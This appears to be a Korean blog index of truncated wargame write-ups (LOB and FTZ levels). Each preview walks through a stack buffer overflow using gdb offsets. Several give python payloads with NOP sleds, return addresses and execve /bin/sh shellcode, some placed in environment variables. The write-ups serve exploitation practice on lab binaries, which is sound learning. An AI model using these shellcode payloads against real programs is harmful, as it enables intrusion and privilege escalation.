목록문제풀이 (39)
ii4gsp
이전 문제와 크게 달라진건 없다 하지만 맨 밑줄 buffer 40byte를 모두 0으로 초기화 해준다. 문제푸는 방식은 이전 문제와 동일하다. 이전의 스택구조와 동일하다 i _____ buffer ______ SFP ______ RET strcpy()호출 다음인 에 break point를 걸어주고 0xbffffab4를 ret로 잡고 페이로드를 작성해주었다. payload ./wolfman $(python -c 'print "\xbf" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
memset() 함수로 환경변수 메모리를 초기화 시켜 쉘코드를 환경변수에 등록하여 문제를 푸는건 불가능하다. argv 48번째 바이트가 \xbf가 아니라면 프로그램이 종료된다. gdb로 분석해보면 스택의 구조는 i _______ buffer ________ SFP ________ RET ret의 주소를 구하기 위해 strcpy() 함수 호출 바로 다음부분인 에 break point를 걸었다. ret의 주소를 0xbffffab4로 잡고 페이로드를 작성하였다. payload ./orc $(python -c 'print "\x90" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89..
소스코드를 보면 이전 레벨과 달라진 점이라면 strcpy() 함수가 gets() 함수로 바꼇다. gets() 함수는 입력받는 크기를 제한하지 않아 취약점이 발생한다. 파일을 복사하고 gdb로 파일을 열고 분석을해보면 스택구조는 buffer ________ sfp ________ ret 버퍼가 16byte이기 때문에 쉘코드를 환경변수에 등록해주면 된다. #include int main() { printf("%p\n", getenv("shellcode")); return 0; } 쉘코드의 주소를 출력해줄 소스코드를 작성해주고 쉘코드를 환경변수에 등록해주고 위의 코드를 실행해주면 쉘코드의 주소가 나온다. 쉘코드의 주소를 알았으니 페이로드는 buffer[16byte] + sfp[4byte] + 쉘주소 파이프를 ..
첫 번째 문제와 크게 달라지진 않았다. 하지만 버퍼의 크기가작아 쉘코드를 환경변수에 등록하면 될것 같다. strcpy() 함수에서 취약점이 일어난다. 파일을 복사해주고 gdb로 열어보면 스택의 구조는 buffer - sfp - ret이다. #include int main() { printf("%p\n", getenv("shellcode")); return 0; } 쉘코드의 주소를 알아내기 위해 소스코드를 작성해주고 25byte 쉘코드를 환경변수에 등록해주고 아까 작성한 코드를 실행하여 쉘코드의 주소를 알아내었다. 페이로드 작성은 buffer[16byte] + sfp[4byte] + ret가 된다. payload ./cobolt $(python -c 'print "\x90" * 20 + "\x61\xff\..
소스코드가 아주 짧아졌다. gets()함수에서 취약점이 발생한다. gdb로 파일을 열고 disas main을해주고 를 보면 0xffffffd8은 2진수로 1101 1000인데 1의 보수를 해주면 0010 0111이되고 2의 보수를 해주면 +1이 되니 40이된다 buf에서 ebp까지의 거리는 40이다. buf에서 ret까지의 거리는 44가된다 44byte의 값을 채워주고 쉘코드를 넣으면될것 이다. #include int main() { printf("%p\n", getenv("shellcode")); return 0; } shellcode의 주소를 알아내기 위해 c언어로 코드를 작성해주었다. setreuid함수가 없어서 setreuid가 포함된 41byte 쉘코드를 환경변수에 등록하였다. 환경변수 expo..
힌트를 보니 다른 문제와는 다르게 소스코드가 아주 길다. count가 100이상이면 "what are you trying to do?"라는 문장을 출력한다. check가 0xdeadbeef라면 shellout함수를 실행시킨다. 사용자로부터 입력을 받고 입력받은 값에서 1byte를 읽고 1byte의 값이 0x08이면 count 값을 -1한다. byte값이 \r, \n, 0x08 모두 아니라면 string[count]에 입력한 1byte 값을 대입하고 count 값을 +1한다. shellout함수는 쉘을 실행시킨다. 변수가 선언된 순서를보면 string변수가 먼저 선언되고 check변수가 선언되었다. ret변조는 불가능하다 그래서 check값을 0xdeadbeef로 해줘야한다. check변수가 string보..
level16과 비슷하다 shell을 실행시키는 함수 부분이 없다. 쉘 코드를 환경변수에 등록하여 문제를 풀면 될 것 같다. - 0xffffffc8은 [ebp-56]이다. buf에서 ebp까지의 거리다. - 0xfffffff0은 [ebp-16]이다. call에서 ebp까지의 거리다. buf에서 call까지의 거리 = 56 - 16 = 40 export shellcode=$(python -c 'print "\x90" * 20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') 쉘 코드를 환경변수에 등록해주고 #include int main() { printf("%p\n..
fgets()함수때문에 ret조작은 불가능하고 *call의 주소 값을 shell함수 주소로 조작해주면 될 것 같다. - 0xffffffc8은 [ebp-56] 즉, buf에서 ebp까지의 거리는 56이다. - 0xfffffff0은 [ebp-16] call에서 ebp까지의 거리는 16이다. buf에서 call까지의 거리는 56 - 16 = 40 shell함수의 시작 주소는 0x080484d0이다 buf ~ call까지의 거리를 쓰레기 값으로 덮어주고 + shell함수 주소를 리틀 엔디언 방식으로 덮어주면 될 것이다. payload (python -c 'print "\x90" * 40 + "\xd0\x84\x04\x08"';cat) | ./attackme